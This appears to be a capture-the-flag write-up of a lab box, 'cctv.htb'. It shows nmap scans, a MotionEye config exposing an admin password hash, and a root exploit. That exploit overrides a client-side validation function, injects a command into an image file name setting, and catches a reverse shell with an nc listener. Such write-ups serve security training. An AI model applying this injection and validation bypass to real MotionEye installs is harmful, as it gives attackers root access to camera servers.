First, fuzzing the web server reveals a virtual host. This virtual host is an application vulnerable to SQL injection. By dumping the database, we get the creds to SSH into the server. To escalate privileges, we leverage a vulnerability in MotionEye to achieve remote code execution as the root user.
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-11 19:36 EDT
Warning: 10.129.253.58 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.129.253.58
Host is up (0.20s latency).
Not shown: 65346 closed tcp ports (reset), 187 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 14.27 seconds
Nmap scan report for 10.129.253.58
Host is up (0.32s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|_ 256 76:1d:73:98:fa:05:f7:0b:04:c2:3b:c4:7d:e6:db:4a (ECDSA)
80/tcp open http Apache httpd 2.4.58
|_http-title: Did not follow redirect to http://cctv.htb/
Service Info: Host: default; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 77.10 seconds
Web Application Research
http://cctv.htb/zm brings us to a ZoneMinder website.
A lot of the listening ports appears to be security cameras
PS aux
1
2
3
4
ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
mark 6004 0.0 0.1 86725728 pts/0 Ss 04:13 0:00 -bash
mark 6294 0.0 0.1 108844480 pts/0 R+ 04:31 0:00 ps aux
cat motion.conf
# @admin_username admin
# @normal_username user
# @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0
# @lang en
# @enabled on
# @normal_password
setup_mode off
webcontrol_port 7999
webcontrol_interface 1
webcontrol_localhost on
webcontrol_parms 2
camera camera-1.conf
OOOH CREDS!
Let’s try to gain RCE.
First, add camera
Then open Console and overwrite the configUiValid function
1
2
3
configUiValid=function(){returntrue;};
Inject the command under Still Images > Image File Name
We have to change the capture mode to Interval Snapshots
This time, we inject the command for a reverse shell.
nc -lvnp 9999
listening on [any] 9999 ...
connect to [10.10.14.51] from (UNKNOWN) [10.129.253.58] 56316
bash: cannot set terminal process group (9489): Inappropriate ioctl for device
bash: no job control in this shell
root@cctv:/etc/motioneye# id
id
uid=0(root) gid=0(root) groups=0(root)